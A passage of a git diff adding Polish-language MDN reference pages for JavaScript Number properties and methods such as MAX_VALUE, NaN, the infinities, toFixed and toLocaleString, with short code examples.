id="Opis_2">Opis</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ESDraft', '#sec-number.isnan', 'Number.isnan')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-number.isnan', 'Number.isnan')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność">Kompatybilność</h2> + + + +<div>{{Compat("javascript.builtins.Number.isNaN")}}</div> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Number")}}</li> + <li>{{jsxref("isNaN", "isNaN()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/number/max_value/index.html b/files/pl/web/javascript/referencje/obiekty/number/max_value/index.html new file mode 100644 index 0000000000..4ec6b77eb3 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/number/max_value/index.html @@ -0,0 +1,35 @@ +--- +title: Number.MAX_VALUE +slug: Web/JavaScript/Referencje/Obiekty/Number/MAX_VALUE +tags: + - JavaScript + - Number + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Największa liczba, której reprezentacja jest możliwa w języku JavaScript.</p> + +<div>{{js_property_attributes(0, 0, 0)}}</div> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Własność <code>MAX_VALUE</code> ma wartość ok. 1.79E+308. Wartości większe niż <code>MAX_VALUE</code> są reprezentowane jako "<code>Infinity</code>" (nieskończoność).</p> + +<p>Ponieważ <code>MAX_VALUE</code> jest statyczną własnością {{jsxref("Number")}}, używa jej się zawsze jako <code>Number.MAX_VALUE</code>, a nie jako własność utworzonego przez programistę obiektu {{jsxref("Number")}}.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h2 id="Przyk.C5.82ad:_Zastosowanie_MAX_VALUE" name="Przyk.C5.82ad:_Zastosowanie_MAX_VALUE">Przykład: Zastosowanie <code>MAX_VALUE</code></h2> + +<p>Poniższy kod mnoży dwie liczby. Jeśli wynik jest większy lub równy <code>MAX_VALUE</code>, wywoływana jest funkcja <code>func1</code>, w przeciwnym wypadku wywoływana jest funkcja <code>func2</code>.</p> + +<pre class="eval">if (num1 * num2 <= Number.MAX_VALUE) { + func1(); +} else { + func2(); +} +</pre> diff --git a/files/pl/web/javascript/referencje/obiekty/number/min_value/index.html b/files/pl/web/javascript/referencje/obiekty/number/min_value/index.html new file mode 100644 index 0000000000..7010abe1af --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/number/min_value/index.html @@ -0,0 +1,39 @@ +--- +title: Number.MIN VALUE +slug: Web/JavaScript/Referencje/Obiekty/Number/MIN_VALUE +tags: + - JavaScript + - Number + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Najmniejsza dodatnia wartość liczbowa, której reprezentacja jest możliwa w języku JavaScript.</p> + +<div>{{js_property_attributes(0, 0, 0)}}</div> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Własność <code>MIN_VALUE</code> to najbliższa zeru liczba dodatnia, jakiej reprezentacja jest możliwa w języku JavaScript - nie jest to najmniejsza liczba ujemna.</p> + +<p><code>MIN_VALUE</code> ma wartość ok. 5e-324. Wartości mniejsze niż <code>MIN_VALUE</code> (ang. "underflow values") konwertowane są do 0.</p> + +<p>Ponieważ <code>MIN_VALUE</code> jest statyczną własnością {{jsxref("Number")}}, używa jej się zawsze jako <code>Number.MIN_VALUE</code>, a nie jako własność utworzonego przez programistę obiektu {{jsxref("Number")}}.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_MIN_VALUE" name="Przyk.C5.82ad:_Zastosowanie_MIN_VALUE">Przykład: Zastosowanie <code>Number.MIN_VALUE</code></h3> + +<p>Poniższy kod dzieli jedną liczbę przez drugą. Jeśli wynik jest większy lub równy <code>MIN_VALUE</code>, wywoływana jest funkcja <code>func1</code>, w przeciwnym wypadku wywoływana jest funkcja <code>func2</code>.</p> + +<pre class="brush: js">if (num1 / num2 >= Number.MIN_VALUE) { + func1(); +} else { + func2(); +} +</pre> + +<div class="noinclude"> </div> diff --git a/files/pl/web/javascript/referencje/obiekty/number/nan/index.html b/files/pl/web/javascript/referencje/obiekty/number/nan/index.html new file mode 100644 index 0000000000..987a48ee6d --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/number/nan/index.html @@ -0,0 +1,48 @@ +--- +title: Number.NaN +slug: Web/JavaScript/Referencje/Obiekty/Number/NaN +tags: + - JavaScript + - Number + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Number/NaN +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Wartość reprezentująca Not-A-Number (Nie-Liczbę).</p> + +<div>{{js_property_attributes(0, 0, 0)}}</div> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wartością <code>Number.NaN</code> jest Not-A-Number, taką samą jak wartość własności {{jsxref("Obiekty/NaN", "NaN")}} obiektu globalnego.</p> + +<p><span class="comment">Keep text below in sync with Properties:NaN page</span> <code>NaN</code> jest zawsze różna od dowolnej liczby, włączając również <code>NaN</code>; nie możesz sprawdzić wartości nieliczbowej poprzez porównanie do <code>Number.NaN</code>. Użyj zamiast tego funkcji {{jsxref("Obiekty/isNaN", "isNaN()")}}.</p> + +<p>Kilka metod JavaScript (takie jak konstruktor <code>Number</code>, <code>parseFloat</code> i <code>parseInt</code>) zwracają <code>NaN</code>, jeśli wartość określona w parametrze nie może być przetworzona jako liczba.</p> + +<p>Możesz użyć własności <code>NaN</code>, aby wskazać warunek błędu dla Twojej funkcji, która zwraca liczbę w przypadku sukcesu.</p> + +<p>JavaScript wyświetla wartość <code>Number.NaN</code> jako <code>NaN</code>.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_NaN" name="Przyk.C5.82ad:_Zastosowanie_NaN">Przykład: Zastosowanie <code>Number.NaN</code></h3> + +<p>W poniższym przykładzie, jeśli miesiąc (month) jest wartość większą niż 12, zostaje mu przypisane <code>NaN</code> i wyświetlana jest informacja o nieprawidłowych wartościach.</p> + +<pre class="brush: js">var month = 13; +if (month < 1 || month > 12) { + month = Number.NaN; + console.log("Miesiąc musi być liczbą między 1 i 12."); +} +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Obiekty/NaN", "NaN")}}</li> + <li>The {{jsxref("Number")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/number/negative_infinity/index.html b/files/pl/web/javascript/referencje/obiekty/number/negative_infinity/index.html new file mode 100644 index 0000000000..90de86af6d --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/number/negative_infinity/index.html @@ -0,0 +1,53 @@ +--- +title: Number.NEGATIVE INFINITY +slug: Web/JavaScript/Referencje/Obiekty/Number/NEGATIVE_INFINITY +tags: + - JavaScript + - Number + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Wartość reprezentująca ujemną nieskończoność.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wartość własności <code>Number.NEGATIVE_INFINITY</code> jest taka sama jak ujemna wartość własności {{jsxref("Infinity")}} obiektu globalnego.</p> + +<p>Wartość ta zachowuje się nieco inaczej niż matematyczna nieskończoność:</p> + +<ul> + <li>Dowolna dodatnia wartość, włączając {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}, pomnożona przez <code>NEGATIVE_INFINITY</code> jest równa <code>NEGATIVE_INFINITY</code>.</li> + <li>Dowolna ujemna wartość, włączając <code>NEGATIVE_INFINITY</code>, pomnożona przez <code>NEGATIVE_INFINITY</code> jest równa {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}.</li> + <li>Zero pomnożone przez <code>NEGATIVE_INFINITY</code> zwraca wartość {{jsxref("Obiekty/NaN", "NaN")}}.</li> + <li>NaN pomnożone przez <code>NEGATIVE_INFINITY</code> zwraca wartość {{jsxref("Obiekty/NaN", "NaN")}}.</li> + <li>Wartość <code>NEGATIVE_INFINITY</code> podzielona przez dowolną wartość ujemną za wyjątkiem <code>NEGATIVE_INFINITY</code> jest równa {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}.</li> + <li>Wartość <code>NEGATIVE_INFINITY</code> podzielona przez dowolną wartość dodatnią za wyjątkiem {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}} jest równa <code>NEGATIVE_INFINITY</code>.</li> + <li>Wartość <code>NEGATIVE_INFINITY</code> podzielona przez <code>NEGATIVE_INFINITY</code> lub {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}} zwraca wartość NaN.</li> + <li>Dowolna liczba podzielona przez <code>NEGATIVE_INFINITY</code> jest równa zero.</li> +</ul> + +<p>Własności <code>Number.NEGATIVE_INFINITY</code> można użyć do wskazania błędu warunku, który zwraca liczbę skończoną w przypadku powodzenia. Należy jednak zauważyć, że funkcja {{jsxref("Obiekty/isFinite", "isFinite")}} będzie w tym wypadku bardziej odpowiednia.</p> + +<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2> + +<p>W poniższym przykładzie do zmiennej smallNumber została przypisana wartość mniejsza niż wartość minimalna. Gdy zostaje wykonana instrukcja <code>if</code>, smallNumber posiada wartość "<code>-Infinity</code>", więc przed kontynuowaniem do zmiennej smallNumber jest przypisywana bardziej wykonywalna wartość.</p> + +<pre class="brush: js">var smallNumber = (-Number.MAX_VALUE) * 2; + +if (smallNumber == Number.NEGATIVE_INFINITY) { + smallNumber = returnFinite(); +} +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li> + <li>{{jsxref("Number.isFinite()")}}</li> + <li>{{jsxref("Obiekty/Infinity", "Infinity")}}</li> + <li>{{jsxref("Obiekty/isFinite", "isFinite()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/number/positive_infinity/index.html b/files/pl/web/javascript/referencje/obiekty/number/positive_infinity/index.html new file mode 100644 index 0000000000..e0be5b9e2a --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/number/positive_infinity/index.html @@ -0,0 +1,57 @@ +--- +title: Number.POSITIVE INFINITY +slug: Web/JavaScript/Referencje/Obiekty/Number/POSITIVE_INFINITY +tags: + - JavaScript + - Number + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Number/POSITIVE_INFINITY +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Wartość reprezentująca dodatnią nieskończoność.</p> + +<div>{{js_property_attributes(0, 0, 0)}}</div> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wartość własności <code>Number.POSITIVE_INFINITY</code> jest taka sama jak wartość własności {{jsxref("Infinity")}} obiektu globalnego.</p> + +<p>Wartość ta zachowuje się nieco inaczej niż matematyczna nieskończoność:</p> + +<ul> + <li>Dowolna dodatnia wartość, włączając <code>POSITIVE_INFINITY</code>, pomnożona przez <code>POSITIVE_INFINITY</code> jest równa <code>POSITIVE_INFINITY</code>.</li> + <li>Dowolna ujemna wartość, włączając {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}}, pomnożona przez <code>POSITIVE_INFINITY</code> jest równa {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}}.</li> + <li>Zero pomnożone przez <code>POSITIVE_INFINITY</code> zwraca wartość {{jsxref("Obiekty/NaN", "NaN")}}.</li> + <li>NaN pomnożone przez <code>POSITIVE_INFINITY</code> zwraca wartość {{jsxref("Obiekty/NaN", "NaN")}}.</li> + <li>Wartość <code>POSITIVE_INFINITY</code> podzielona przez dowolną wartość ujemną za wyjątkiem {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}} jest równa {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}}.</li> + <li>Wartość <code>POSITIVE_INFINITY</code> podzielona przez dowolną wartość dodatnią za wyjątkiem <code>POSITIVE_INFINITY</code> jest równa <code>POSITIVE_INFINITY</code>.</li> + <li>Wartość <code>POSITIVE_INFINITY</code> podzielona przez {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}} lub <code>POSITIVE_INFINITY</code> zwraca wartość {{jsxref("Obiekty/NaN", "NaN")}}.</li> + <li>Dowolna liczba podzielona przez <code>POSITIVE_INFINITY</code> jest równa <code>0</code>.</li> +</ul> + +<p>Niektóre metody JavaScript (takie jak konstruktor <code>Number</code>, <code>parseFloat</code> i <code>parseInt</code>) zwracają wartość <code>NaN</code>, jeśli wartość określona w parametrze znacznie przewyższa wartość <code>Number.MAX_VALUE</code>.</p> + +<p>Własności <code>Number.POSITIVE_INFINITY</code> można użyć do wskazania błędu warunku, który zwraca liczbę skończoną w przypadku powodzenia. Należy jednak zauważyć, że funkcja {{jsxref("Obiekty/isFinite", "isFinite")}} będzie w tym wypadku bardziej odpowiednia.</p> + +<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2> + +<p>W poniższym przykładzie do zmiennej largeNumber została przypisana wartość większa niż wartość maksymalna. Gdy zostaje wykonana instrukcja {{jsxref("Polecenia/if...else", "if")}}, largeNumber posiada wartość <code>Infinity</code>, więc przed kontynuowaniem do zmiennej <code>bigNumber</code> jest przypisywana bardziej wykonywalna wartość.</p> + +<pre class="brush: js">var bigNumber = Number.MAX_VALUE * 2; + +if (bigNumber == Number.POSITIVE_INFINITY) { + bigNumber = returnFinite(); +} +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li> + <li>{{jsxref("Number.isFinite()")}}</li> + <li>{{jsxref("Infinity")}}</li> + <li>{{jsxref("Obiekty/isFinite", "isFinite()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/number/toexponential/index.html b/files/pl/web/javascript/referencje/obiekty/number/toexponential/index.html new file mode 100644 index 0000000000..1eef2782e4 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/number/toexponential/index.html @@ -0,0 +1,53 @@ +--- +title: Number.prototype.toExponential() +slug: Web/JavaScript/Referencje/Obiekty/Number/toExponential +tags: + - JavaScript + - Method + - Number + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Number/toExponential +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca łańcuch znaków reprezentujący Number w notacji wykładniczej.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>numObj</var>.toExponential([<var>fractionDigits</var>])</code></pre> + +<h3 id="Parametr" name="Parametr">Parametr</h3> + +<dl> + <dt>fractionDigits</dt> + <dd>Liczba całkowita określająca liczbę cyfr występujących po kropce dziesiętnej. Domyślną wartością jest tyle cyfr, ile potrzeba do określenia liczby.</dd> +</dl> + +<h3 id="Zwraca" name="Zwraca">Zwraca</h3> + +<p>Łańcuch znaków reprezentujący obiekt {{jsxref("Number")}} w notacji wykładniczej z jedną cyfrą przed kropką dziesiętną i zaokrągleniem do tylu cyfr po kropce, ile określa parametr <code>fractionDigits</code>. Jeśli argument <code>fractionDigits</code> zostanie pominięty, domyślnie przyjmowana jest taka wartość zaokrąglenia, która pozwala na przedstawienie wartości w sposób unikatowy.</p> + +<p>Jeśli metoda <code>toExponential()</code> zostanie użyta do literałów liczbowych, które nie posiadają wykładnika i kropki dziesiętnej, należy wstawić spację przed kropką poprzedzającą wywołanie metody, aby zapobiec zinterpretowaniu tej kropki jako kropki dziesiętnej.</p> + +<p>Jeśli liczba posiada więcej cyfr niż określono przez parametr <code>fractionDigits</code>, jest ona zaokrąglana do najbliższej liczby o ilości cyfr wskazanej przez wartość <code>fractionDigits</code>. Zobacz dyskusję na temat zaokrąglania w opisie metody <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Number/toFixed">toFixed</a>, która również odnosi się do metody <code>toExponential()</code>.</p> + +<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2> + +<pre>var num=77.1234; + +console.log("num.toExponential() is " + num.toExponential()); //wyświetla 7.71234e+1 +console.log("num.toExponential(4) is " + num.toExponential(4)); //wyświetla 7.7123e+1 +console.log("num.toExponential(2) is " + num.toExponential(2)); //wyświetla 7.71e+1 +console.log("77.1234.toExponential() is " + 77.1234.toExponential()); //wyświetla 7.71234e+1 +console.log("77 .toExponential() is " + 77 .toExponential()); //wyświetla 7.7e+1 +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Number.prototype.toFixed()")}}</li> + <li>{{jsxref("Number.prototype.toPrecision()")}}</li> + <li>{{jsxref("Number.prototype.toString()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/number/tofixed/index.html b/files/pl/web/javascript/referencje/obiekty/number/tofixed/index.html new file mode 100644 index 0000000000..9394bf1db9 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/number/tofixed/index.html @@ -0,0 +1,61 @@ +--- +title: Number.prototype.toFixed() +slug: Web/JavaScript/Referencje/Obiekty/Number/toFixed +tags: + - JavaScript + - Method + - Number + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Number/toFixed +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Formatuje liczbę stosując notację stałoprzecinkową.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>numObj</var>.toFixed([<var>digits</var>])</code></pre> + +<h3 id="Parametr" name="Parametr">Parametr</h3> + +<dl> + <dt>digits</dt> + <dd>Liczba cyfr, które mają zostać wyświetlone po kropce dziesiętnej; może to być wartość z zakresu od 0 do 20 włącznie, ale implementacje mogą opcjonalnie wprowadzać większe zakresy. Jeśli argument zostanie pominięty, przyjmowana jest wartość 0.</dd> +</dl> + +<h3 id="Zwraca" name="Zwraca">Zwraca</h3> + +<p>Reprezentację wartości <code>number</code> w postaci łańcucha znaków, która nie stosuje notacji wykładniczej i posiada dokładnie tyle cyfr po separatorze dziesiętnym, ile wskazuje na to wartość parametru <code>digits</code>. Liczba w razie konieczności jest zaokrąglana, a część ułamkowa wypełniana zerami, aby liczba posiadała określoną długość. Jeśli liczba <code>number</code> jest większa niż 1e+21, metoda ta po prostu wywołuje {{jsxref("Number.prototype.toString()")}} i zwraca łańcuch znaków w notacji wykładniczej.</p> + +<h3 id="Wyrzuca" name="Wyrzuca">Wyrzuca</h3> + +<dl> + <dt>{{jsxref("Obiekty/RangeError", "RangeError")}}</dt> + <dd>Jeśli wartość parametru <code>digits</code> jest za duża lub za mała. Wartości z zakresu od 0 do 20 włącznie nie spowodują wystąpienia {{jsxref("Obiekty/RangeError", "RangeError")}}. Dopuszcza się na obsługę mniejszych lub większych wartości przez różne implementacje.</dd> +</dl> + +<dl> + <dt>{{jsxref("Obiekty/TypeError", "TypeError")}}</dt> + <dd>Jeśli ta metoda jest przywołana w obiekcie, który nie jest obiektem {{jsxref("Number")}}.</dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre class="brush: js">var n = 12345.6789; + +n.toFixed(); // zwraca 12346: zauważ zaokrąglenie i brak części ułamkowej +n.toFixed(1); // zwraca 12345.7: zauważ zaokrąglenie +n.toFixed(6); // zwraca 12345.678900: zauważ dodane zera +(1.23e+20).toFixed(2); // zwraca 123000000000000000000.00 +(1.23e-10).toFixed(2) // zwraca 0.00 +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Number.prototype.toExponential()")}}</li> + <li>{{jsxref("Number.prototype.toPrecision()")}}</li> + <li>{{jsxref("Number.prototype.toString()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/number/tolocalestring/index.html b/files/pl/web/javascript/referencje/obiekty/number/tolocalestring/index.html new file mode 100644 index 0000000000..6ca88bba30 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/number/tolocalestring/index.html @@ -0,0 +1,182 @@ +--- +title: Number.prototype.toLocaleString() +slug: Web/JavaScript/Referencje/Obiekty/Number/toLocaleString +translation_of: Web/JavaScript/Reference/Global_Objects/Number/toLocaleString +--- +<div>{{JSRef}}</div> + +<p>Metoda <strong><code>toLocaleString()</code></strong> zwraca łańcuch znaków przedstawiający dany numer w formacie wybranej lokalizacji.</p> + +<p>Nowe argumenty - <code>lokalizacje</code> i <code>opcje</code> - pozwalają na wybranie lokalizacji w jakiej ma zostać przedstawiona liczba. Starsza implementacja, która nie posiadała tych argumentów, zwracała łańcuch znaków zależny od implementacji danego środowiska.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><code><em>numObj</em>.toLocaleString(</code><code>[lokalizacje [, opcje]])</code></pre> + +<h3 id="Parametry">Parametry</h3> + +<p>W sekcji <a href="#Browser_compatibility">kompatybilności</a> możesz sprawdzić, które przeglądarki obsługują argumenty <code>lokalizacji</code> i <code>opcji</code> . W sekcji <a href="#Checking_for_support_for_locales_and_options_arguments">Przykład: Sprawdzanie obsługi argumentów <code>lokalizacji</code> i <code>opcji</code> </a>rozpisane są sposoby na przetestowanie obsługiwanych przez przeglądarkę argumentów tej metody.</p> + +<div class="note"> +<p><strong>Info:</strong> ECMAScript Internationalization API, zaimplementowane w Firefoxie 29, dodaje obsługę parametry<code>lokalizacje</code> do metody<code>Number.toLocaleString()</code>. Jeśli argument nie zostanie podany ({{jsxref("undefined")}}) metoda przyjmię lokalizację systemu operacyjnego. Poprzednie wersje Firefoxa zwracały liczby z lokalizacji <a href="https://en.wikipedia.org/wiki/Arabic_numerals">Western Arabic</a>. Zmiana zostala zgłoszona jako regresja rzutująca na wsteczną kompatybilność metody, i wkrótce zostanie naprawiona. ({{bug(999003)}})</p> +</div> + +<div>{{page('/pl-PL/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat', 'Parameters')}}</div> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>Łańcuch znaków przedstawiający liczbę w danym formacie.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Przykłady_użycia_metody_toLocaleString">Przykłady użycia metody <code>toLocaleString</code></h3> + +<p>Podstawowy sposób użycia, bez podanych argumentów, zwróci nam łańcuch znaków w domyślnej lokalizacji i z domyślnymi opcjami.</p> + +<pre class="brush: js">var liczba = 3500; + +console.log(liczba.toLocaleString()); // Wyświetli "3 500", jeśli twoją lokalizacją jest „pl-PL” +</pre> + +<h3 id="Sprawdzanie_dostępności_argumentów_lokalizacji_i_opcji">Sprawdzanie dostępności argumentów <code>lokalizacji</code> i <code>opcji</code></h3> + +<p>Nie wszystkie przeglądarki obsługuję argumenty <code>lokalizacji</code> i <code>opcji</code>. Aby to sprawdzić w wersji języka ES5.1 i późniejszych możemy użyć wyjątku {{jsxref("Global_Objects/RangeError", "RangeError")}}, który zostanie rzucony gdy niepoprawna nazwa lokalizacji zostanie użyta:</p> + +<pre class="brush: js">function toLocaleStringSupportsLocales() { + var liczba = 0; + try { + liczba.toLocaleString('i'); + } catch (e) { + return e.name === 'RangeError'; + } + return false; +} +</pre> + +<p>W wersjach przed ES5.1 nie było obowiązku wyrzucania wyjątku Range Error jeśli metoda <code>toLocaleString</code> została wywołana z argumentami.</p> + +<p>Sprawdzenie działające na wszystkich wersjach języka przed 5.1 polega na użyciu funkcjonalności niezbędnych do działania tych argumentów bezpośrednio na <code>Number.prototype.toLocaleString</code>:</p> + +<pre class="brush: js">function toLocaleStringSupportsOptions() { + return !!(typeof Intl == 'object' && Intl && typeof Intl.NumberFormat == 'function'); +} +</pre> + +<p>Sprawdzamy tutaj czy istnieje globalny obiekt <code>Intl</code>, czy nie jest <code>nullem</code>, a także czy posiada właściwość <code>NumberFormat</code>, która jest funkcją.</p> + +<h3 id="Przykłady_użycia_lokalizacji">Przykłady użycia <code>lokalizacji</code></h3> + +<p>Przykład ten pokazuje kilka różnych lokalizacji. Aby uzyskać foramt języka interfejsu użytkownika upewnij się, że podajesz tę lokalizację (i dla pewności kilka innych jako fallbacki) przy pomocy aargumentu <code>localizacji</code>:</p> + +<pre class="brush: js">var liczba = 123456.789; + +// Język niemiecki oddziela części dziesiętne przecinkiem, a tysiące kropką +console.log(liczba.toLocaleString('de-DE')); +// → 123.456,789 + +// W większości krajów arabskich używa cyfr <a href="https://en.wikipedia.org/wiki/Eastern_Arabic_numerals">Eastern Arabic</a> +console.log(liczba.toLocaleString('ar-EG')); +// → ١٢٣٤٥٦٫٧٨٩ + +// Indyjski używa separatorów tysięcy/lakh/crore +console.log(liczba.toLocaleString('en-IN')); +// → 1,23,456.789 + +// Klucz rozszerzeń „nu” pyta o system numeryczny, np. Chiński system dziesiętny +console.log(liczba.toLocaleString('zh-Hans-CN-u-nu-hanidec')); +// → 一二三,四五六.七八九 + +// jeśli masz zamiar użyć lokalizacji, która może nie być obsługiwana +// jak np. Balinese, zawsze dodaj drugi lokalizację, tutaj Indonezyjską +console.log(liczba.toLocaleString(['ban', 'id'])); +// → 123.456,789 +</pre> + +<h3 id="Przykłady_użycia_opcji">Przykłady użycia <code>opcji</code></h3> + +<p>Rezultaty metody<code>toLocaleString</code> mogą być dostosowywane przy pomocy argumentu <code>opcje</code>:</p> + +<pre class="brush: js">var liczba = 123456.789; + +// format walutowy +console.log(liczba.toLocaleString('de-DE', { style: 'currency', currency: 'EUR' })); +// → 123.456,79 € + +// Japoński yen +console.log(liczba.toLocaleString('ja-JP', { style: 'currency', currency: 'JPY' })) +// → ￥123,457 + +// ogranicz wyświetlanie do 3 miejsc znaczących +console.log(liczba.toLocaleString('en-IN', { maximumSignificantDigits: 3 })); +// → 1,23,000 + +// Użyj domyślnego języka hosta z opcjami formatowania liczby +var num = 30000.65; +console.log(num.toLocaleString(undefined, {minimumFractionDigits: 2, maximumFractionDigits: 2})); +// → "30,000.65" w języku angielskim lub +// → "30.000,65" w języku niemieckiem lub +// → "30 000,65" w języku francuskim +</pre> + +<h2 id="Wydajność">Wydajność</h2> + +<p>Jeśli zamierzasz formatować wiele liczb, lepiej użyć obiektu {{jsxref("NumberFormat")}} i formatować przy pomocy metody {{jsxref("NumberFormat.format")}}.</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES3')}}</td> + <td>{{Spec2('ES3')}}</td> + <td>Pierwsza definicja. Zaimplementowane w JavaScript 1.5.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.7.4.3', 'Number.prototype.toLocaleString')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-number.prototype.tolocalestring', 'Number.prototype.toLocaleString')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-number.prototype.tolocalestring', 'Number.prototype.toLocaleString')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES Int 1.0', '#sec-13.2.1', 'Number.prototype.toLocaleString')}}</td> + <td>{{Spec2('ES Int 1.0')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES Int 2.0', '#sec-13.2.1', 'Number.prototype.toLocaleString')}}</td> + <td>{{Spec2('ES Int 2.0')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES Int Draft', '#sec-Number.prototype.toLocaleString', 'Number.prototype.toLocaleString')}}</td> + <td>{{Spec2('ES Int Draft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność">Kompatybilność</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("javascript.builtins.Number.toLocaleString")}}</p> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>{{jsxref("Number.prototype.toString()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/number/toprecision/index.html b/files/pl/web/javascript/referencje/obiekty/number/toprecision/index.html new file mode 100644 index 0000000000..33d5c0f1ed --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/number/toprecision/index.html @@ -0,0 